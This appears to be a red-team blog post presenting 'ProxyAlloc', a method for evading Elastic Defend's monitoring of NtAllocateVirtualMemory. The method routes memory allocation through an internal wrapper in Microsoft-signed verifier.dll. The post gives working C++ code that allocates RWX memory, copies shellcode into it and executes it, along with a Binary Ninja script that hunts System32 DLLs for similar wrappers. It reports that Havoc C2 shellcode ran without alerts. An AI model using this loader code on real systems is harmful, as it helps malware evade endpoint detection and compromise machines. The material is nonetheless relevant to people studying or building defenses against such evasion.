# ProxyAlloc: evading NtAllocateVirtualMemory detection ft. Elastic Defend & Binary Ninja

**Preface**

Not long ago, one of my standard in-process shellcode execution methods for the Red Team engagements I have worked on looked similar to this:

```cpp
DWORD protect{};
LPVOID virtualMemory = nullptr;
SIZE_T size = rawShellcodeLength;

this->api.NtAllocateVirtualMemory.call
(
    NtCurrentProcess(), &virtualMemory, 0, &size,
    MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE
);

this->api.RtlMoveMemory.call(virtualMemory, rawShellcode, rawShellcodeLength);

(*(int(*)()) virtualMemory)();
```

This method has variations, such as using additional `NtProtectVirtualMemory` calls to avoid allocating memory with `RWX` protections. Most of them should look familiar to you and usually take the following form:

<mark style="color:blue;">PAGE\_NOACCESS -> PAGE\_READWRITE -> PAGE\_EXECUTE\_READ</mark>\ <mark style="color:blue;">PAGE\_READWRITE -> PAGE\_EXECUTE\_READ</mark>\ <mark style="color:blue;">PAGE\_READWRITE -> PAGE\_EXECUTE</mark>

This is a well-known technique, but it is not often detected in a corporate environment where business processes prevail over security considerations (and usually, rightly so).

I was, however, surprised, when I tried to launch my implant in a new lab that has Elastic stack configured, with Elastic Defend as an agent and the most aggressive detection methods turned on.

**Detection**

Right when the implant was launched, I observed the following:

<figure><img src="https://750590561-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqEHYs3J0lebZbZucvZkw%2Fuploads%2FTWhI9IA20pNEgQZ91HqF%2Fimage.png?alt=media&#x26;token=21322873-ecf8-4f20-ad05-cf0dfd236ad2" alt=""><figcaption></figcaption></figure>

When I looked into the specifics of that detection, it became obvious that `NtAllocateVirtualMemory` / `NtProtectVirtualMemory` calls are being monitored:

<figure><img src="https://750590561-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqEHYs3J0lebZbZucvZkw%2Fuploads%2FKpdUWbvQQdmAlRyrvlrN%2Fimage.png?alt=media&#x26;token=4396a508-6587-454d-a9b0-63a5dd5ef0d4" alt=""><figcaption></figcaption></figure>

<figure><img src="https://750590561-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqEHYs3J0lebZbZucvZkw%2Fuploads%2Ff9Yet2EWOJNIwAOCBCWB%2Fimage.png?alt=media&#x26;token=4e63d69d-540d-4f68-9c04-27a6300ae619" alt=""><figcaption></figcaption></figure>

After thinking about it for some time and related evasion discussions with [@zimnyaa](https://twitter.com/zimnyaatishina) (I suggest checking his blog at [tishina.in](https://tishina.in)), an idea came to my mind.

Let us review the call stack when the `NtAllocateVirtualMemory` call happens:

<figure><img src="https://750590561-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqEHYs3J0lebZbZucvZkw%2Fuploads%2F4hu6Ne4PuSg52ujsfvJe%2Fimage.png?alt=media&#x26;token=18c77907-4c9b-4006-9e6b-10e03b2828f4" alt=""><figcaption></figcaption></figure>

Essentially, the call stack relevant to our objective at this point can be translated to the following:

<mark style="color:blue;">unsigned\_binary -> signed\_ntdll\_ZwAllocateVirtualMemory</mark>

What if we could place some signed module in between, to pretend that we are not directly calling `NtAllocateVirtualMemory`? It appears that we can.

**Discovery**

Multiple Microsoft-signed DLLs are present at `C:\Windows\System32\*`.

I decided to utilize [Binary Ninja](https://binary.ninja/) with its awesome Python [API](https://docs.binary.ninja/dev) to scan every signed DLL there for functions that might serve as a wrapper for `NtAllocateVirtualMemory`.

The high-level overview of the search algorithm for any DLL is as follows:

1. Check if `NtAllocateVirtualMemory` is imported by our target.
2. If imported, check all its call sites for two separate special cases below.
3. Mark the location if `Protect` and `RegionSize` arguments can be supplied through the caller function's parameters.
4. Mark the location if `RWX` memory of more than `64KB` is allocated.

The script is as follows and could be improved to account for more valid cases:

<pre class="language-python" data-full-width="false"><code class="lang-python">import os
import binaryninja
from binaryninja import highlevelil

# File with all signed dll paths in C:\Windows\System32\*
signed_dlls_path = r'C:\Users\user\source\repos\SignedDllAnalyzer\signed_dlls.txt'
<strong>
</strong># Counting how many dlls are to be processed
with open(signed_dlls_path, "r") as f:
    signed_dlls = [dll.strip() for dll in f]

total_dlls = len(signed_dlls)

with open(signed_dlls_path, "r") as f:
	current_dll = 0
	# Processing each dll
	for signed_dll_path in f:
		current_dll += 1
		# Preparing variables for the progress bar
		signed_dll_path = signed_dll_path.strip()
		dll_name = signed_dll_path.split('\\')[-1]
		dll_size_mb = os.path.getsize(signed_dll_path) / 1024 / 1024
		progress = f"{current_dll}/{total_dlls}"
		# We don't want to process dlls with size more than 15 MB
		if dll_size_mb > 15:
			print(f"[-] [{progress}] [{dll_name}] [{dll_size_mb:.2f} > 15 MB]")
			continue
		# Update progress bar
		print(f"[*] [{progress}] [{dll_name}] [{dll_size_mb:.2f} MB]")
		# Open the dll in Binary Ninja without advanced analysis
		with binaryninja.load(signed_dll_path, update_analysis=False) as binary_view:
			# Check if NtAllocateVirtualMemory is imported by the dll
			ntAllocateVirtualMemorySymbol = binary_view.get_symbol_by_raw_name("NtAllocateVirtualMemory")
			# If it is not imported, we skip to the next dll
			if not ntAllocateVirtualMemorySymbol:
				continue
			else:
				# If it is imported, update progress and perform dll analysis
				print(f"[+] [{progress}] [{dll_name}] [NtAllocateVirtualMemory]")
				binary_view.set_analysis_hold(False)
				binary_view.update_analysis_and_wait()
				# Get all code references of the NtAllocateVirtualMemory call and process each one
				code_refs = binary_view.get_code_refs(ntAllocateVirtualMemorySymbol.address)
				for ref in code_refs:
					try:
						# Get the function which contains target code reference
						func = binary_view.get_functions_containing(ref.address)[0]
						# Get the HLIL (High Level IL) representation of the call site
						hlil_instr = func.get_llil_at(ref.address).hlil
						# Specifically look for the NtAllocateVirtualMemory call
						for operand in hlil_instr.operands:
							if type(operand) == HighLevelILCall:
								if operand.dest.value.value == ntAllocateVirtualMemorySymbol.address:
									hlil_call = operand
									break
						# Process arguments of the NtAllocateVirtualMemory call (specifically Protect and RegionSize)
						args = hlil_call.params
						protect = args[5]
						regionSize = args[3]
						# More cases could be added here (for example, variable SSA form analysis)
						# Case 1: arguments are directly supplied from wrapper function parameters
						if type(protect) == HighLevelILVar:
							if protect.var not in func.parameter_vars:
								continue
						if type(regionSize) == HighLevelILVar:
							if regionSize.var not in func.parameter_vars:
								continue
						# Case 2: arguments are constant
						if type(protect) == HighLevelILConst:
							if int(protect.value) != 0x40: # looking for RWX
								continue
						if type(regionSize) == HighLevelILConst:
							if int(regionSize.value) &#x3C;= 0x10000: # looking for more than 64 KB
								continue
						# If reached here, update the progress to sumbit finding for manual analysis
						print(f"[+] [{progress}] [{dll_name}] [{hex(ref.address)}] [{hlil_instr}]")
					except Exception as e:
						print(f"[x] [{progress}] [{dll_name}] [{e}]")
</code></pre>

After running the script, we can observe multiple findings:

<figure><img src="https://750590561-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqEHYs3J0lebZbZucvZkw%2Fuploads%2FlT2J5CHhifFlcbb9DZwQ%2Fimage.png?alt=media&#x26;token=bed53af9-3bea-47e3-b4f2-e2ac57c0401b" alt=""><figcaption></figcaption></figure>

For example, both of those functions are essentially wrappers around `NtAllocateVirtualMemory`:

<figure><img src="https://750590561-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqEHYs3J0lebZbZucvZkw%2Fuploads%2FHSy6TsgiSnv0mbcyDEG3%2Fimage.png?alt=media&#x26;token=d4212bf8-4b1b-4a99-98e3-5fa93457db34" alt=""><figcaption></figcaption></figure>

<figure><img src="https://750590561-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqEHYs3J0lebZbZucvZkw%2Fuploads%2F56E1smxW5eSzMhOPH591%2Fimage.png?alt=media&#x26;token=0c0a67d2-8030-40bf-be64-8e23013f4449" alt=""><figcaption></figcaption></figure>

Curious readers might ask, if we consider calling them instead of `NtAllocateVirtualMemory`, how is this different from calling `kernel32.VirtualAlloc`?

Two main differences that are relevant for us:

1. `VirtualAlloc` is monitored by security solutions even more than `NtAllocateVirtualMemory`.
2. It is an exported API function, while both functions above are internal for `verifier.dll`.

Other than that, yes, it is very similar to `VirtualAlloc`, which itself is a wrapper around `NtAllocateVirtualMemory`:

<figure><img src="https://750590561-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqEHYs3J0lebZbZucvZkw%2Fuploads%2FtcqXRGYxFmhOUGwnkVeK%2Fimage.png?alt=media&#x26;token=3bf08eaf-2c46-4050-9622-80d5a96793fb" alt=""><figcaption></figcaption></figure>

**The technique itself: ProxyAlloc**

I decided to call this method **ProxyAlloc**, as we are proxying our actual call to `NtAllocateVirtualMemory` through any Microsoft-signed DLL that has an internal wrapper around it.

The code for this technique is as follows (example with `verifier.AVrfpNtAllocateVirtualMemory`):

```cpp
typedef NTSTATUS (*AVrfpNtAllocateVirtualMemory_t)
(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    ULONG_PTR ZeroBits,
    ULONG_PTR *RegionSize,
    ULONG AllocationType,
    ULONG Protect
);

DWORD protect{};
LPVOID virtualMemory = nullptr;
SIZE_T size = rawShellcodeLength;

HMODULE hVerifierMod = this->api.LoadLibraryA.call("verifier.dll");

AVrfpNtAllocateVirtualMemory_t AVrfpNtAllocateVirtualMemory = (AVrfpNtAllocateVirtualMemory_t)((char*)hVerifierMod + 0x25110);
AVrfpNtAllocateVirtualMemory(NtCurrentProcess(), &virtualMemory, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

this->api.RtlMoveMemory.call(virtualMemory, rawShellcode, rawShellcodeLength);

(*(int(*)()) virtualMemory)();
```

It also could be improved, for example, by using pattern scanning instead of plain offsets.

The call stack observed after using this method is:

<figure><img src="https://750590561-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqEHYs3J0lebZbZucvZkw%2Fuploads%2FPuOhSu4X4h1c621vxH41%2Fimage.png?alt=media&#x26;token=d825ee19-7d35-400a-a38e-7863e4498ddc" alt=""><figcaption></figcaption></figure>

Which roughly equals to the following scheme, as expected:

<mark style="color:blue;">unsigned\_binary -> signed\_dll\_offset -> signed\_ntdll\_ZwAllocateVirtualMemory</mark>

**Final Test**

After testing this with an actual loader and modified [Havoc](https://github.com/HavocFramework/Havoc) (Demon agent shellcode) as our C2 of choice, Elastic Defend did not generate any alerts.
